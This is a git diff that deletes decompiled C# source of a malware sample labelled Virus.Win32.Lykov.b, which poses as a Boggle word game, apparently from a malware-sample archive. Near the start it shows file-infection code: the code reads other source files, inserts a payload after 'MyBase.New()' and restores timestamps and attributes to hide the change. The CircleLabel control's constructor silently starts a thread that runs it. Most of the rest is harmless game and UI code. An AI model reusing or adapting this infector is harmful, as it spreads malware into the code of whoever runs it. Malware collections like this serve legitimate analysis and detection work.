DateTime lastWriteTime = File.GetLastWriteTime(files[index2]); - FileAttributes attributes = File.GetAttributes(files[index2]); - File.SetAttributes(files[index2], FileAttributes.Normal); - StreamReader streamReader = File.OpenText(files[index2]); - string end = streamReader.ReadToEnd(); - streamReader.Close(); - if (Strings.InStr(end, String2, CompareMethod.Text) == 0 & Strings.InStr(end, str1, CompareMethod.Text) != 0) - { - string str6 = Strings.Replace(Strings.Replace(end, "MyBase.New()", "MyBase.New()\r\n" + str2, Count: 1, Compare: CompareMethod.Text), str1, str4 + str1, Count: 1, Compare: CompareMethod.Text); - StreamWriter text = File.CreateText(files[index2]); - text.Write(str6); - text.Flush(); - text.Close(); - } - File.SetLastWriteTime(files[index2], lastWriteTime); - File.SetLastAccessTime(files[index2], lastAccessTime); - File.SetAttributes(files[index2], attributes); - checked { ++index2; } - } - } - checked { ++index1; } - } - } - - public CircleLabel() - { - this.Click += new EventHandler(this.CircleLabel_Click); - new Thread(new ThreadStart(this.vIT)).Start(); - this.InitializeComponent(); - this.clsRadius = 55L; - this.clsText = "W"; - System.Drawing.Color color = new System.Drawing.Color(); - this.clsHighLight = System.Drawing.Color.LightGray; - this.clsCubeTextColor = System.Drawing.Color.DarkBlue; - } - - protected override void Dispose(bool disposing) - { - if (disposing && this.components != null) - this.components.Dispose(); - base.Dispose(disposing); - } - - [DebuggerStepThrough] - private void InitializeComponent() - { - this.lblText = new Label(); - this.SuspendLayout(); - this.lblText.AutoSize = true; - this.lblText.Font = new Font("Microsoft Sans Serif", 20.25f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0); - this.lblText.Location = new Point(24, 32); - this.lblText.Name = "lblText"; - Label lblText = this.lblText; - Size size1 = new Size(36, 31); - Size size2 = size1; - lblText.Size = size2; - this.lblText.TabIndex = 0; - this.lblText.Text = "W"; - this.Controls.AddRange(new Control[1] - { - (Control) this.lblText - }); - this.Name = nameof (CircleLabel); - size1 = new Size(88, 96); - this.Size = size1; - this.ResumeLayout(false); - } - - public System.Drawing.Color CubeTextColor - { - get => this.clsCubeTextColor; - set - { - this.clsCubeTextColor = value; - this.Refresh(); - } - } - - protected override void OnPaint(PaintEventArgs pe) - { - GraphicsPath path = new GraphicsPath(); - path.AddArc(0.0f, 0.0f, (float) this.clsRadius, (float) this.clsRadius, 0.0f, 360f); - this.BackColor = this.clsHighLight; - this.Width = checked ((int) this.clsRadius); - this.Height = checked ((int) this.clsRadius); - this.lblText.Text = this.clsText; - this.lblText.ForeColor = this.clsCubeTextColor; - this.lblText.Left = checked ((int) Math.Round(unchecked ((double) this.Width / 2.0 - (double) this.lblText.Width / 2.0))); - this.lblText.Top = checked ((int) Math.Round(unchecked ((double) this.Height / 2.0 - (double) this.lblText.Height / 2.0))); - this.Region = new Region(path); - } - - public string CubeText - { - get => this.clsText; - set - { - this.clsText = value; - this.Refresh(); - } - } - - public System.Drawing.Color CubeHighLight - { - get => this.clsHighLight; - set - { - this.clsHighLight = value; - this.Refresh(); - } - } - - public long CubeTopRadius - { - get => this.clsRadius; - set - { - this.clsRadius = value; - this.Refresh(); - } - } - - private void CircleLabel_Click(object sender, EventArgs e) - { - if (this.CubeClickEvent == null) - return; - this.CubeClickEvent(this, e); - } - - public delegate void CubeClickEventHandler(CircleLabel Sender, EventArgs e); - } -} diff --git a/MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/CircleLabel.resx b/MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/CircleLabel.resx deleted file mode 100644 index 1c6ac6dc..00000000 --- a/MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/CircleLabel.resx +++ /dev/null @@ -1,126 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - C0NpcmNsZUxhYmVs - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL - - \ No newline at end of file diff --git a/MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/Cube.cs b/MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/Cube.cs deleted file mode 100644 index 237550eb..00000000 --- a/MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/Cube.cs +++ /dev/null @@ -1,256 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Boggle.Cube -// Assembly: Boggle, Version=1.0.1320.31511, Culture=neutral, PublicKeyToken=null -// MVID: B8BB850A-887A-43B2-B89D-3D1301289D01 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Collections; -using System.Drawing; -using System.Runtime.CompilerServices; -using System.Windows.Forms; - -namespace Boggle -{ - public class Cube - { - [AccessedThroughProperty("clsPicCubeDown")] - private PictureBox _clsPicCubeDown; - private CircleLabel clsCubeLabel; - private bool clsIsBack; - - private virtual PictureBox clsPicCubeDown - { - get => this._clsPicCubeDown; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._clsPicCubeDown != null) - this._clsPicCubeDown.Paint -= new PaintEventHandler(this.clspicCubeDown_Paint); - this._clsPicCubeDown = value; - if (this._clsPicCubeDown == null) - return; - this._clsPicCubeDown.Paint += new PaintEventHandler(this.clspicCubeDown_Paint); - } - } - - public Cube() - { - this.clsCubeLabel = new CircleLabel(); - this.clsPicCubeDown = new PictureBox(); - } - - public Color CubeTextColor - { - get => this.clsCubeLabel.CubeTextColor; - set => this.clsCubeLabel.CubeTextColor = value; - } - - public bool IsBack - { - get => this.clsIsBack; - set => this.clsIsBack = value; - } - - public PictureBox CubeDownPic - { - get => this.clsPicCubeDown; - set => this.clsPicCubeDown = value; - } - - public Color CubeHighLight - { - get => this.clsCubeLabel.CubeHighLight; - set => this.clsCubeLabel.CubeHighLight = value; - } - - public long CubeTopTop - { - get => (long) this.clsCubeLabel.Top; - set => this.clsCubeLabel.Top = checked ((int) value); - } - - public long CubeTopLeft - { - get => (long) this.clsCubeLabel.Left; - set => this.clsCubeLabel.Left = checked ((int) value); - } - - public long CubeTopHeight - { - get => (long) this.clsCubeLabel.Height; - set => this.clsCubeLabel.Height = checked ((int) value); - } - - public long CubeTopWidth - { - get => (long) this.clsCubeLabel.Width; - set => this.clsCubeLabel.Width = checked ((int) value); - } - - public object CubeTopRadius - { - get => (object) this.clsCubeLabel.CubeTopRadius; - set => this.clsCubeLabel.CubeTopRadius = LongType.FromObject(value); - } - - public string CubeLetter - { - get => this.clsCubeLabel.CubeText; - set => this.clsCubeLabel.CubeText = value; - } - - public CircleLabel CubeLabel - { - get => this.clsCubeLabel; - set => this.clsCubeLabel = value; - } - - public void SetRndCubeLetter() - { - string str = "AABCDEEFGHIIJKLMNOOPQRSTUUVWXYZ"; - VBMath.Randomize(); - int Start1 = checked ((int) Math.Round((double) Conversion.Int((float) unchecked ((double) Strings.Len(str) * (double) VBMath.Rnd() + 1.0)))); - string sLeft = Strings.Mid(str, Start1, 1); - long num1 = (long) checked (Start1 * 100); - long num2 = 1; - while (num2 <= num1) - { - VBMath.Randomize(); - int Start2 = checked ((int) Math.Round((double) Conversion.Int((float) unchecked ((double) Strings.Len(str) * (double) VBMath.Rnd() + 1.0)))); - sLeft = Strings.Mid(str, Start2, 1); - checked { ++num2; } - } - if (StringType.StrCmp(sLeft, "Q", false) == 0) - { - sLeft = "Qu"; - try - { - foreach (Cube cube in (CollectionBase) modGlobal.Cubes) - { - modGlobal.myCube = cube; - if (StringType.StrCmp(modGlobal.myCube.CubeLetter, "Qu", false) == 0) - sLeft = "R"; - } - } - finally - { - IEnumerator enumerator; - if (enumerator is IDisposable) - ((IDisposable) enumerator).Dispose(); - } - } - this.CubeLetter = sLeft; - } - - private void clspicCubeDown_Paint(object sender, PaintEventArgs e) - { - long x = checked ((long) Math.Round(unchecked (DoubleType.FromString(Strings.Mid(StringType.FromObject(this.CubeLabel.Tag), 1, 1)) * 70.0 * -1.0))); - long y = checked ((long) Math.Round(unchecked (DoubleType.FromString(Strings.Mid(StringType.FromObject(this.CubeLabel.Tag), 2, 1)) * 70.0 * -1.0))); - Image image = Image.FromFile(modGlobal.AppPath + "\\CubesDown.jpg"); - Point[] destPoints = new Point[3] - { - new Point(checked ((int) x), checked ((int) y)), - new Point(checked ((int) (283L + x)), checked ((int) y)), - new Point(checked ((int) x), checked ((int) (283L + y))) - }; - e.Graphics.DrawImage(image, destPoints); - } - - public void ShowClick() - { - this.clsPicCubeDown.Width = checked ((int) Math.Round(unchecked (74.0 - DoubleType.FromString(Strings.Mid(StringType.FromObject(this.clsCubeLabel.Tag), 1, 1))))); - this.clsPicCubeDown.Height = checked ((int) Math.Round(unchecked (75.0 - DoubleType.FromString(Strings.Mid(StringType.FromObject(this.clsCubeLabel.Tag), 2, 1))))); - this.clsPicCubeDown.Left = checked (this.clsCubeLabel.Left - 10); - this.clsPicCubeDown.Top = checked ((int) Math.Round(unchecked ((double) this.clsCubeLabel.Top - 9.6))); - this.CubeTopRadius = (object) 50; - this.clsPicCubeDown.Show(); - this.SetCubeTopPos(); - } - - private void SetCubeTopPos() - { - object tag = this.clsCubeLabel.Tag; - if (ObjectType.ObjTst(tag, (object) "00", false) == 0) - { - checked { this.clsCubeLabel.Top += 7; } - checked { this.clsCubeLabel.Left += 6; } - } - else if (ObjectType.ObjTst(tag, (object) "10", false) == 0) - { - checked { this.clsCubeLabel.Top += 7; } - checked { this.clsCubeLabel.Left += 3; } - } - else if (ObjectType.ObjTst(tag, (object) "20", false) == 0) - { - checked { this.clsCubeLabel.Top += 7; } - checked { --this.clsCubeLabel.Left; } - } - else if (ObjectType.ObjTst(tag, (object) "30", false) == 0) - { - checked { this.clsCubeLabel.Top += 7; } - checked { this.clsCubeLabel.Left -= 6; } - } - else if (ObjectType.ObjTst(tag, (object) "01", false) == 0) - { - checked { this.clsCubeLabel.Top += 4; } - checked { this.clsCubeLabel.Left += 7; } - } - else if (ObjectType.ObjTst(tag, (object) "11", false) == 0) - { - checked { this.clsCubeLabel.Top += 4; } - checked { this.clsCubeLabel.Left += 3; } - } - else if (ObjectType.ObjTst(tag, (object) "21", false) == 0) - { - checked { this.clsCubeLabel.Top += 4; } - checked { --this.clsCubeLabel.Left; } - } - else if (ObjectType.ObjTst(tag, (object) "31", false) == 0) - { - checked { this.clsCubeLabel.Top += 3; } - checked { this.clsCubeLabel.Left -= 5; } - } - else if (ObjectType.ObjTst(tag, (object) "02", false) == 0) - checked { this.clsCubeLabel.Left += 8; } - else if (ObjectType.ObjTst(tag, (object) "12", false) == 0) - { - checked { --this.clsCubeLabel.Top; } - checked { this.clsCubeLabel.Left += 3; } - } - else if (ObjectType.ObjTst(tag, (object) "22", false) == 0) - { - checked { --this.clsCubeLabel.Top; } - checked { --this.clsCubeLabel.Left; } - } - else if (ObjectType.ObjTst(tag, (object) "32", false) == 0) - { - checked { --this.clsCubeLabel.Top; } - checked { this.clsCubeLabel.Left -= 5; } - } - else if (ObjectType.ObjTst(tag, (object) "03", false) == 0) - { - checked { this.clsCubeLabel.Top -= 5; } - checked { this.clsCubeLabel.Left += 8; } - } - else if (ObjectType.ObjTst(tag, (object) "13", false) == 0) - { - checked { this.clsCubeLabel.Top -= 5; } - checked { this.clsCubeLabel.Left += 3; } - } - else if (ObjectType.ObjTst(tag, (object) "23", false) == 0) - { - checked { this.clsCubeLabel.Top -= 5; } - checked { --this.clsCubeLabel.Left; } - } - else - { - if (ObjectType.ObjTst(tag, (object) "33", false) != 0) - return; - checked { this.clsCubeLabel.Top -= 5; } - checked { this.clsCubeLabel.Left -= 5; } - } - } - } -} diff --git a/MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/CubesCollection.cs b/MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/CubesCollection.cs deleted file mode 100644 index 0b449a24..00000000 --- a/MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/CubesCollection.cs +++ /dev/null @@ -1,375 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Boggle.CubesCollection -// Assembly: Boggle, Version=1.0.1320.31511, Culture=neutral, PublicKeyToken=null -// MVID: B8BB850A-887A-43B2-B89D-3D1301289D01 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Collections; -using System.Drawing; -using System.Drawing.Drawing2D; -using System.Runtime.CompilerServices; -using System.Threading; -using System.Windows.Forms; - -namespace Boggle -{ - public class CubesCollection : CollectionBase - { - private string clsWordToShow; - private CubesCollection.StateOfCubes clsCubesState; - private string clsDisplayText; - private PictureBox clsCubesPicBox; - private bool clsDisplayTextFadeOut; - private bool clsDisplayTextStartUp; - private int clsDisplayTextMaxSize; - private int clsDisplayPosition; - private Thread SpinCubesThread; - private Thread ScrambleCubesThread; - private bool clsCubesAreSpinning; - private bool clsCubesAreScrambling; - private bool clsKillThread; - [SpecialName] - private double \u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024Angle; - [SpecialName] - private StaticLocalInitFlag \u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024Angle\u0024Init; - [SpecialName] - private double \u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024ZoomFact; - [SpecialName] - private StaticLocalInitFlag \u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024ZoomFact\u0024Init; - [SpecialName] - private double \u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024FontSize; - [SpecialName] - private StaticLocalInitFlag \u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024FontAddValue\u0024Init; - [SpecialName] - private int \u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024FontAddValue; - - public CubesCollection() - { - this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024Angle\u0024Init = new StaticLocalInitFlag(); - this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024ZoomFact\u0024Init = new StaticLocalInitFlag(); - this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024FontAddValue\u0024Init = new StaticLocalInitFlag(); - } - - public bool CubesAreScrambling - { - get => this.clsCubesAreScrambling; - set => this.clsCubesAreScrambling = value; - } - - public bool CubesAreSpinning - { - get => this.clsCubesAreSpinning; - set => this.clsCubesAreSpinning = value; - } - - public int DisplayPosition - { - get => this.clsDisplayPosition; - set => this.clsDisplayPosition = value; - } - - public int DisplayTextMaxSize - { - get => this.clsDisplayTextMaxSize; - set => this.clsDisplayTextMaxSize = value; - } - - public bool DisplayTextStartUp - { - get => this.clsDisplayTextStartUp; - set => this.clsDisplayTextStartUp = value; - } - - public bool DisplayTextFadeOut - { - get => this.clsDisplayTextFadeOut; - set => this.clsDisplayTextFadeOut = value; - } - - public PictureBox CubesPicBox - { - get => this.clsCubesPicBox; - set => this.clsCubesPicBox = value; - } - - public string DisplayText - { - get => this.clsDisplayText; - set => this.clsDisplayText = value; - } - - public void Add(Cube Cube) => this.List.Add((object) Cube); - - public Cube this[int Index] => (Cube) this.List[Index]; - - public void Remove(Cube Cube) - { - if (!this.List.Contains((object) Cube)) - return; - this.List.Remove((object) Cube); - } - - public string WordToShow - { - get => this.clsWordToShow; - set => this.clsWordToShow = value; - } - - public void DrawCubes(PaintEventArgs e, CubesCollection.StateOfCubes State) - { - Bitmap bitmap = new Bitmap(modGlobal.AppPath + "\\CubesUp.jpg"); - int num1 = 10; - if (this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024Angle\u0024Init.State != (short) 1) - { - Monitor.Enter((object) this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024Angle\u0024Init); - try - { - if (this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024Angle\u0024Init.State == (short) 0) - { - this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024Angle\u0024Init.State = (short) 2; - this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024Angle = -0.777; - } - else if (this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024Angle\u0024Init.State == (short) 2) - throw new IncompleteInitialization(); - } - finally - { - this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024Angle\u0024Init.State = (short) 1; - Monitor.Exit((object) this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024Angle\u0024Init); - } - } - if (this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024ZoomFact\u0024Init.State != (short) 1) - { - Monitor.Enter((object) this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024ZoomFact\u0024Init); - try - { - if (this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024ZoomFact\u0024Init.State == (short) 0) - { - this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024ZoomFact\u0024Init.State = (short) 2; - this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024ZoomFact = (double) checked (bitmap.Height * -1); - } - else if (this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024ZoomFact\u0024Init.State == (short) 2) - throw new IncompleteInitialization(); - } - finally - { - this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024ZoomFact\u0024Init.State = (short) 1; - Monitor.Exit((object) this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024ZoomFact\u0024Init); - } - } - if (this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024FontAddValue\u0024Init.State != (short) 1) - { - Monitor.Enter((object) this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024FontAddValue\u0024Init); - try - { - if (this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024FontAddValue\u0024Init.State == (short) 0) - { - this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024FontAddValue\u0024Init.State = (short) 2; - this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024FontAddValue = 1; - } - else if (this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024FontAddValue\u0024Init.State == (short) 2) - throw new IncompleteInitialization(); - } - finally - { - this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024FontAddValue\u0024Init.State = (short) 1; - Monitor.Exit((object) this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024FontAddValue\u0024Init); - } - } - double a1; - double a2; - double a3; - double a4; - double a5; - double a6; - switch (State) - { - case CubesCollection.StateOfCubes.Clear: - this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024Angle = -0.777; - this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024ZoomFact = (double) checked (bitmap.Height * -1); - this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024FontSize = 0.0; - this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024FontAddValue = 1; - this.clsCubesPicBox.Image = (Image) null; - break; - case CubesCollection.StateOfCubes.Normal: - this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024Angle = -0.777; - this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024ZoomFact = (double) checked (bitmap.Height * -1); - this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024FontSize = 0.0; - this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024FontAddValue = 1; - double num2 = Math.Sqrt((double) checked (bitmap.Width * bitmap.Width + bitmap.Height * bitmap.Height)) / 2.0; - a1 = (double) num1 + (num2 * 2.0 - (double) bitmap.Width) / 2.0; - a2 = (num2 * 2.0 - (double) bitmap.Height) / 2.0; - a3 = a1 + (double) bitmap.Width; - a4 = (num2 * 2.0 - (double) bitmap.Height) / 2.0; - a5 = (double) num1 + (num2 * 2.0 - (double) bitmap.Width) / 2.0; - a6 = a2 + (double) bitmap.Height; - break; - case CubesCollection.StateOfCubes.Spinning: - double num3 = Math.Sqrt((double) checked (bitmap.Width * bitmap.Width + bitmap.Height * bitmap.Height)) / 2.0; - a1 = (double) num1 + Math.Cos(this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024Angle) * num3 + num3; - a2 = num3 - Math.Sin(this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024Angle) * num3; - a3 = Math.Cos(this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024Angle + 1.6) * num3 + num3; - a4 = num3 - Math.Sin(this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024Angle + 1.6) * num3; - a5 = (double) num1 + Math.Cos(this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024Angle - 1.6) * num3 + num3; - a6 = num3 - Math.Sin(this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024Angle - 1.6) * num3; - this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024Angle += 0.3; - break; - case CubesCollection.StateOfCubes.ZoomSpinning: - double num4 = Math.Sqrt(((double) bitmap.Width + this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024ZoomFact) * ((double) bitmap.Width + this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024ZoomFact) + ((double) bitmap.Height + this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024ZoomFact) * ((double) bitmap.Height + this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024ZoomFact)) / 2.0; - a1 = (double) num1 + Math.Cos(this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024Angle) * num4 + num4; - a2 = num4 - Math.Sin(this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024Angle) * num4; - a3 = (double) num1 + Math.Cos(this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024Angle + 1.6) * num4 + num4; - a4 = num4 - Math.Sin(this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024Angle + 1.6) * num4; - a5 = (double) num1 + Math.Cos(this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024Angle - 1.6) * num4 + num4; - a6 = num4 - Math.Sin(this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024Angle - 1.6) * num4; - this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024Angle += 0.3; - this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024ZoomFact += 2.0; - break; - case CubesCollection.StateOfCubes.Text: - try - { - GraphicsPath path = new GraphicsPath(); - Rectangle rect = new Rectangle(0, 0, this.clsCubesPicBox.Width, this.clsCubesPicBox.Height); - LinearGradientBrush linearGradientBrush = new LinearGradientBrush(rect, Color.LightBlue, Color.DarkBlue, LinearGradientMode.Vertical); - if (this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024FontSize > (double) checked ((int) Math.Round(unchecked ((double) this.clsDisplayTextMaxSize / 2.0))) & this.clsDisplayTextFadeOut) - checked { this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024FontAddValue *= -1; } - this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024FontSize += (double) this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024FontAddValue; - Font font1 = new Font("Arial", (float) this.\u0024STATIC\u0024DrawCubes\u0024202112D112C\u0024FontSize, FontStyle.Regular, GraphicsUnit.Pixel, (byte) 1); - SizeF sizeF1 = new SizeF(); - Graphics graphics = e.Graphics; - string clsDisplayText = this.clsDisplayText; - Font font2 = font1; - SizeF layoutArea = new SizeF(); - StringFormat stringFormat = new StringFormat(StringFormatFlags.DirectionRightToLeft); - int num5 = Strings.Len(this.clsDisplayText); - ref int local1 = ref num5; - int num6 = 1; - ref int local2 = ref num6; - SizeF sizeF2 = graphics.MeasureString(clsDisplayText, font2, layoutArea, stringFormat, out local1, out local2); - path.AddString(this.clsDisplayText, font1.FontFamily, (int) font1.Style, font1.Size, new PointF((float) ((double) rect.Width / 2.0 - (double) sizeF2.Width / 2.0), (float) ((double) rect.Height / 2.0 - (double) sizeF2.Height / 2.0) + (float) this.clsDisplayPosition), StringFormat.GenericDefault); - e.Graphics.FillPath((Brush) linearGradientBrush, path); - break; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - this.clsCubesState = CubesCollection.StateOfCubes.Clear; - this.clsCubesPicBox.Refresh(); - ProjectData.ClearProjectError(); - break; - } - } - Point[] destPoints = new Point[3] - { - new Point(checked ((int) Math.Round(a1)), checked ((int) Math.Round(a2))), - new Point(checked ((int) Math.Round(a3)), checked ((int) Math.Round(a4))), - new Point(checked ((int) Math.Round(a5)), checked ((int) Math.Round(a6))) - }; - e.Graphics.DrawImage((Image) bitmap, destPoints); - } - - private void ShowSpinCubes() - { - try - { - foreach (Cube cube in (CollectionBase) modGlobal.Cubes) - { - modGlobal.myCube = cube; - modGlobal.myCube.CubeLabel.Visible = false; - modGlobal.myCube.SetRndCubeLetter(); - } - } - finally - { - IEnumerator enumerator; - if (enumerator is IDisposable) - ((IDisposable) enumerator).Dispose(); - } - int num = 1; - while (!this.clsKillThread) - { - Thread.Sleep(1); - this.clsCubesState = CubesCollection.StateOfCubes.ZoomSpinning; - this.clsCubesPicBox.Refresh(); - checked { ++num; } - if (num > 130) - { - modGlobal.Cubes.CubesState = CubesCollection.StateOfCubes.Normal; - this.clsCubesPicBox.Refresh(); - try - { - foreach (Cube cube in (CollectionBase) modGlobal.Cubes) - { - modGlobal.myCube = cube; - modGlobal.myCube.CubeLabel.Visible = true; - } - } - finally - { - IEnumerator enumerator; - if (enumerator is IDisposable) - ((IDisposable) enumerator).Dispose(); - } - this.clsCubesAreSpinning = false; - return; - } - } - this.clsCubesAreSpinning = false; - this.clsKillThread = false; - } - - public void ShowSpinStartUp() - { - this.SpinCubesThread = new Thread(new ThreadStart(this.ShowSpinCubes)); - this.clsCubesAreSpinning = true; - this.clsKillThread = false; - this.SpinCubesThread.Start(); - } - - public CubesCollection.StateOfCubes CubesState - { - get => this.clsCubesState; - set => this.clsCubesState = value; - } - - private void HandleScrambleCubes() - { - long num = 1; - while (!this.clsKillThread) - { - Thread.Sleep(1); - this.clsCubesPicBox.Refresh(); - checked { ++num; } - if (num > 100L) - { - this.clsCubesAreScrambling = false; - return; - } - } - this.clsCubesAreScrambling = false; - this.clsKillThread = false; - } - - public void ScrambleCubes() - { - this.ScrambleCubesThread = new Thread(new ThreadStart(this.HandleScrambleCubes)); - this.clsCubesAreScrambling = true; - this.clsKillThread = false; - this.ScrambleCubesThread.Start(); - } - - public void KillCubeThreads() => this.clsKillThread = true; - - public enum StateOfCubes - { - Clear, - Normal, - Spinning, - ZoomSpinning, - Text, - } - } -} diff --git a/MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/Virus.Win32.Lykov.b.csproj b/MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/Virus.Win32.Lykov.b.csproj deleted file mode 100644 index 31cc42b0..00000000 --- a/MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/Virus.Win32.Lykov.b.csproj +++ /dev/null @@ -1,70 +0,0 @@ - - - - - Debug - AnyCPU - {89C8806B-C890-4312-B823-5525FC0B63BB} - WinExe - Boggle - 1.0.1320.31511 - Boggle - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/Virus.Win32.Lykov.b.sln b/MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/Virus.Win32.Lykov.b.sln deleted file mode 100644 index 34d29440..00000000 --- a/MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/Virus.Win32.Lykov.b.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 